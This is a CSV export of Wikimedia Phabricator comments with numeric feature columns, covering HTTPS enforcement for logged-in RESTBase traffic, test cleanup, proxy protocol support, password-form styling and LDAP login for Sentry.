+693288,Enforce HTTPS for authenticated public connections,"@bblack, you did indeed resolve this without us doing anything. Many thanks, sir!",,,1468361991,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-dlfd3bbkxqgzuk5hmtdi,task_subcomment,,True,c3,3,True,,,53,True,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,0,0,0
+693262,Enforce HTTPS for authenticated public connections,"This can probably be closed now, as all public RB access is via the standard cache clusters which are enforcing HTTPS, but defer to gwicke just in case.",,,1468360580,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-dlfd3bbkxqgzuk5hmtdi,task_subcomment,,True,c3,3,True,,,53,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+480917,Enforce HTTPS for authenticated public connections,"We have HTTPS by default on the main entry point (the regular project domain), but http://rest.wikimedia.org/ is still available via HTTP.
+
+We do have the longer-term plan of taking down rest.wikimedia.org in favor of the project domains, but lets keep this task open until that has happened.",,,1435168758,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-dlfd3bbkxqgzuk5hmtdi,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,1
+480912,Enforce HTTPS for authenticated public connections,Is this task still relevant now with //HTTPS-by-default// ?,,,1435168643,,PHID-USER-hxwwywcyzpooynxuo7a2,False,,,PHID-TASK-dlfd3bbkxqgzuk5hmtdi,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+408795,Enforce HTTPS for authenticated public connections,"We should only set Session or Token cookies without the secure flag (so they will be sent via http requests) in very limited cases.
+
+Restbase really should follow the mediawiki model and redirect to https if it sees a forceHTTPS cookie, which would indicate that the user is probably logged in, but the session/token cookie wasn't sent since they are set secure.",,,1423507687,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-dlfd3bbkxqgzuk5hmtdi,task_subcomment,,True,c3,1,True,,,-21,True,0,0,1,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+408299,Enforce HTTPS for authenticated public connections,"I would prefer if we simply rejected any unencrypted request which contained login cookies (some code will handle redirects transparently but that's bad because the cookie was already sent in plain text and the user won't be alerted), but okay...",,,1423347959,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-dlfd3bbkxqgzuk5hmtdi,task_subcomment,,True,c3,1,True,,,-21,True,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+408298,Enforce HTTPS for authenticated public connections,"I would prefer if we simply rejected any unencrypted request which contained login cookies, but okay...",,,1423347894,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-dlfd3bbkxqgzuk5hmtdi,task_subcomment,,True,c3,1,True,,,-21,True,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0
+85649,ZeroPortal browser tests duplicate mediawiki_selenium's LoginPage object,"The ZeroPortal extension's browser tests define LoginPage in [[https://github.com/wikimedia/mediawiki-extensions-ZeroPortal/blob/master/tests/browser/features/support/pages/login_page.rb | login_page.rb]]. But there's already a LoginPage object in the shared [[ https://github.com/wikimedia/mediawiki-selenium/blob/master/lib/mediawiki_selenium/support/pages/login_page.rb | mediawiki_selenium ]] gem that ZeroPortal uses.
+
+You could just delete ZeroPortal's local file and see if tests still pass.",Low,25.0,1420075718,1443457629.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,PHID-USER-orutfwdvg667kr5vm5uk,False,PHID-TASK-m3ut5sro4n6nfc7wwdqe,task_description,invalid,True,c3,1,False,False,True,-26,True,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+536378,ZeroPortal browser tests duplicate mediawiki_selenium's LoginPage object,Tests have been removed; marking this as invalid.,,,1443457622,,PHID-USER-orutfwdvg667kr5vm5uk,False,,,PHID-TASK-m3ut5sro4n6nfc7wwdqe,task_subcomment,,True,c3,3,True,,,12,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+435025,ZeroPortal browser tests duplicate mediawiki_selenium's LoginPage object,"mediawiki_selenium Ruby gem now has support for logging in multiple users:
+
+https://github.com/wikimedia/mediawiki-selenium/blob/master/lib/mediawiki_selenium/step_definitions/login_steps.rb",,,1427729995,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-m3ut5sro4n6nfc7wwdqe,task_subcomment,,True,c3,1,True,,,-14,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+406385,ZeroPortal browser tests duplicate mediawiki_selenium's LoginPage object,"We actually recently switched to the prerelease branch which (at the time
+of switching) did not have an updated LoginPage for use with multiple
+users. When I respond to this task I will be reevaluating though to see if
+the prerelease version of LoginPage has been updated to include ""logged in
+as,"" which I suspect it has.",,,1423007188,,PHID-USER-orutfwdvg667kr5vm5uk,False,,,PHID-TASK-m3ut5sro4n6nfc7wwdqe,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+406346,ZeroPortal browser tests duplicate mediawiki_selenium's LoginPage object,"For a list of features shared among repositories, see https://www.mediawiki.org/wiki/Quality_Assurance/Browser_testing/Shared_features
+
+ZeroPortal should use the ""Given I am logged in"" step as all the other repos do. ",,,1423002168,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-m3ut5sro4n6nfc7wwdqe,task_subcomment,,True,c3,1,False,,,-22,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+406340,ZeroPortal browser tests duplicate mediawiki_selenium's LoginPage object,,,,1423001500,,PHID-USER-orutfwdvg667kr5vm5uk,False,,,PHID-TASK-m3ut5sro4n6nfc7wwdqe,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+406339,ZeroPortal browser tests duplicate mediawiki_selenium's LoginPage object,,,,1423001493,,PHID-USER-orutfwdvg667kr5vm5uk,False,,,PHID-TASK-m3ut5sro4n6nfc7wwdqe,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+394587,ZeroPortal browser tests duplicate mediawiki_selenium's LoginPage object,,,,1420083649,,PHID-USER-orutfwdvg667kr5vm5uk,False,,,PHID-TASK-m3ut5sro4n6nfc7wwdqe,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+84983,Make DynamicProxy be able to proxy back to non-http protocols,"Currently it assumes that you are proxying back to http:// and adds it if it is not found. Make it possible to proxy back to other protocols, like fastcgi or uwsgi.",Low,25.0,1418982881,1467722731.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-yorbznbgwmqwd27m6uvq,task_description,declined,True,c3,1,True,True,False,-28,True,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+688638,Make DynamicProxy be able to proxy back to non-http protocols,"I think any performance advantage will be negated by the additonal complexity, so let's not do this.",,,1467722731,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-yorbznbgwmqwd27m6uvq,task_subcomment,,True,c3,3,True,,,52,True,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+397264,Make DynamicProxy be able to proxy back to non-http protocols,"Boo!
+
+nginx requires uwsgi_pass, fastcgi_pass, proxy_pass depending on what protocol the origin server is listening on. This is terrible.",,,1420807846,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-yorbznbgwmqwd27m6uvq,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+391465,Make DynamicProxy be able to proxy back to non-http protocols,Yay! :),,,1419009664,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-yorbznbgwmqwd27m6uvq,task_subcomment,,True,c3,1,True,,,-28,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+391439,Make DynamicProxy be able to proxy back to non-http protocols,"Change 181073 merged by Yuvipanda:
+tools: Allow origin protocols other than http
+
+[[https://gerrit.wikimedia.org/r/181073]]",,,1419004966,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yorbznbgwmqwd27m6uvq,task_subcomment,,True,c3,1,False,,,-28,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+391430,Make DynamicProxy be able to proxy back to non-http protocols,"Change 181073 had a related patch set uploaded (by Yuvipanda):
+tools: Allos origin protocols other than http
+
+[[https://gerrit.wikimedia.org/r/181073]]
+
+#patch-for-review",,,1419002375,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yorbznbgwmqwd27m6uvq,task_subcomment,,True,c3,1,False,,,-28,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+78373,Change Special:ChangePassword to use OOUI (to match styling of Special:UserLogin),"1. Reset password
+2. Log in with it, this yields the ""Create a new password"" screen, courtesy of Special:ResetPassword proxied through SpecialUserLogin
+3. Trigger any error or callback or rate limit. That will respond from ResetPassword (in the url) as that's where the form submits to.
+
+It shows exact same form again, with my values still filled. Except now the form looks completely unstyled.",Low,25.0,1418360903,1446574575.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-76ncpstsbnp2jeeiqvlf,task_description,resolved,True,c3,1,True,False,False,-29,True,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+557304,Change Special:ChangePassword to use OOUI (to match styling of Special:UserLogin),"Change 238505 merged by jenkins-bot:
+Change Special:ChangePassword to use OOUI
+
+[[https://gerrit.wikimedia.org/r/238505]]",,,1446573814,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-76ncpstsbnp2jeeiqvlf,task_subcomment,,True,c3,3,False,,,17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+546132,Change Special:ChangePassword to use OOUI (to match styling of Special:UserLogin),"Change 238497 abandoned by Florianschmidtwelzow:
+Force MediaWiki UI true on Special:ChangePassword
+
+Reason:
+please review: Id768833bbd966cde
+
+[[https://gerrit.wikimedia.org/r/238497]]",,,1444805684,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-76ncpstsbnp2jeeiqvlf,task_subcomment,,True,c3,3,False,,,14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+527809,Change Special:ChangePassword to use OOUI (to match styling of Special:UserLogin),"Change 238505 had a related patch set uploaded (by Florianschmidtwelzow):
+Change Special:ChangePassword to use OOUI
+
+[[https://gerrit.wikimedia.org/r/238505]]
+",,,1442339816,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-76ncpstsbnp2jeeiqvlf,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+527756,Change Special:ChangePassword to use OOUI (to match styling of Special:UserLogin),"Change 238497 had a related patch set uploaded (by Florianschmidtwelzow):
+Force MediaWiki UI true on Special:ChangePassword
+
+[[https://gerrit.wikimedia.org/r/238497]]
+",,,1442337662,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-76ncpstsbnp2jeeiqvlf,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+527746,Change Special:ChangePassword to use OOUI (to match styling of Special:UserLogin),"The problem is, that Special:UserLogin forces mediawiki UI to ""on"", and proxies SpecialChangePassword for the first request (to announce, that you need to change the password). After you submited the form, you will be on Special:ChangeEmail which doesn't have mediwiki ui enabled.
+
+I think the short term fix would be to enable MediaWiki UI on Special:ChangePassword, and the long term to rewrite SpecialChangPassword in OOUI.",,,1442337331,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-76ncpstsbnp2jeeiqvlf,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+97133,Login integration for Sentry,Sentry should have unified login via LDAP ([[ https://github.com/banno/getsentry-ldap-auth | getsentry-ldap-auth ]]) or Oauth ([[ https://github.com/omab/python-social-auth | python-social-auth ]]?).,Lowest,10.0,1429886235,1730887731.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-iczcaqmn5wyw5js47u2e,task_description,declined,True,c3,1,True,False,False,-10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1
+2449626,Login integration for Sentry,Declining per `T374411` and `T257424`.,,,1730887731,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-iczcaqmn5wyw5js47u2e,task_subcomment,,True,c3,3,True,,,487,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+1581939,Login integration for Sentry,"Change 250374 **abandoned** by Gergő Tisza:
+[operations/puppet@production] [WIP] LDAP auth for Sentry via REMOTE_USER
+
+Reason:
+We abandoned the idea of using Sentry in production. See T106915.
+
+https://gerrit.wikimedia.org/r/250374",,,1600309710,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iczcaqmn5wyw5js47u2e,task_subcomment,,True,c3,3,False,,,272,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+1515316,Login integration for Sentry,"Change 240949 abandoned by Gergő Tisza:
+LDAP support
+
+Reason:
+Abandoning Sentry patches; there are no short-term plans for using Sentry, and they are now too stale to be useful anyway.
+
+[[https://gerrit.wikimedia.org/r/240949]]",,,1591019269,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iczcaqmn5wyw5js47u2e,task_subcomment,,True,c3,3,False,,,256,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+556220,Login integration for Sentry,"Thanks, I'll do that.
+
+I'm not sure I understand the point of having two vhosts. Can't you just configure mod_authnz to ask for credentials but then not `require valid-user`, or use mod_authn_anon?",,,1446454474,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-iczcaqmn5wyw5js47u2e,task_subcomment,,True,c3,3,True,,,17,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+556215,Login integration for Sentry,"
+>>! In T109723#1759237, @ori wrote:
+> * grafana itself is listening only on localhost, on a machine with no public IP.
+> * Requests are proxied by Nginx (for SSL) -> Varnish -> Apache / mod_proxy_http.
+> * grafana logs in users based on the value of the X-WEBAUTH-USER header set on the request.
+> * We serve grafana via two different vhosts: grafana-admin.wikimedia.org and grafana.wikimedia.org.
+> * The [[ https://grafana-admin.wikimedia.org | grafana-admin.wikimedia.org ]] Apache vhost uses mod_authnz_ldap to authenticate the user as a member of ops/wmf/nda groups. It unsets any user-supplied X-WEBAUTH-USER header and sets X-WEBAUTH-USER to the LDAP user CN.
+> * The [[ https://grafana.wikimedia.org/ | grafana.wikimedia.org ]] Apache vhost does not require authentication. It unsets any user-supplied X-WEBAUTH-USER and sets X-WEBAUTH-USER to 'Anonymous', which is a Grafana account with read-only privileges.
+> * For extra insurance, grafana.wikimedia.org also prohibits any POST / PUT / DELETE requests.
+> * For extra insurance, X-WEBAUTH-USER is also unset on the varnish layer.
+
+
+>>! In T97133#1772722, @Tgr wrote:
+> Maybe I can run both apache and nginx, on different ports/vhosts? The user interface does not need to scale and the logging interface does not need auth.
+
+You could, but that is a bit inelegant. Apache should scale just fine.
+
+> Or just discard nginx completely and how apache will be fine under load.
+
+That's what I would do, I think.",,,1446452300,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-iczcaqmn5wyw5js47u2e,task_subcomment,,True,c3,3,True,,,17,True,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,0,1,1,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1
+556214,Login integration for Sentry,">>! In T97133#1770795, @ori wrote:
+> Specifically, the approach we ended up taking with Grafana -- having a public, read-only vhost and a private RW one: see T109723#1759237
+
+The task is private.
+
+The current Sentry role used nginx (that was recommended in the Sentry docs, presumably because it scales better). Nginx does not have native LDAP support. On the internets people usually recommend compiling in [[ https://github.com/kvspb/nginx-auth-ldap | nginx-auth-ldap ]], which does not inspire confidence.
+
+Maybe I can run both apache and nginx, on different ports/vhosts? The user interface does not need to scale and the logging interface does not need auth. I am not sure I can set separate base URLs for them though. Or just discard nginx completely and how apache will be fine under load. Or go back to django_ldap_auth...",,,1446451961,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-iczcaqmn5wyw5js47u2e,task_subcomment,,True,c3,3,True,,,17,True,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1
+555794,Login integration for Sentry,">>! In T97133#1704282, @Tgr wrote:
+> Ori recommended a simpler approach: use some Apache authn module (probably LDAP) and Django's built-in [[ https://docs.djangoproject.com/en/1.8/howto/auth-remote-user/ | REMOTE_USER-based authentication ]].
+
+Specifically, the approach we ended up taking with Grafana -- having a public, read-only vhost and a private RW one: see T109723#1759237",,,1446249078,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-iczcaqmn5wyw5js47u2e,task_subcomment,,True,c3,3,True,,,17,True,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,0,1,0,1,1,0,1
+541674,Login integration for Sentry,Ori recommended a simpler approach: use some Apache authn module (probably LDAP) and Django's built-in [[ https://docs.djangoproject.com/en/1.8/howto/auth-remote-user/ | REMOTE_USER-based authentication ]].,,,1444091790,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-iczcaqmn5wyw5js47u2e,task_subcomment,,True,c3,3,True,,,13,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1
+537542,Login integration for Sentry,Sentry just opensourced their own login modules: http://blog.getsentry.com/2015/09/29/sso-for-all.html,,,1443559972,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-iczcaqmn5wyw5js47u2e,task_subcomment,,True,c3,3,True,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0
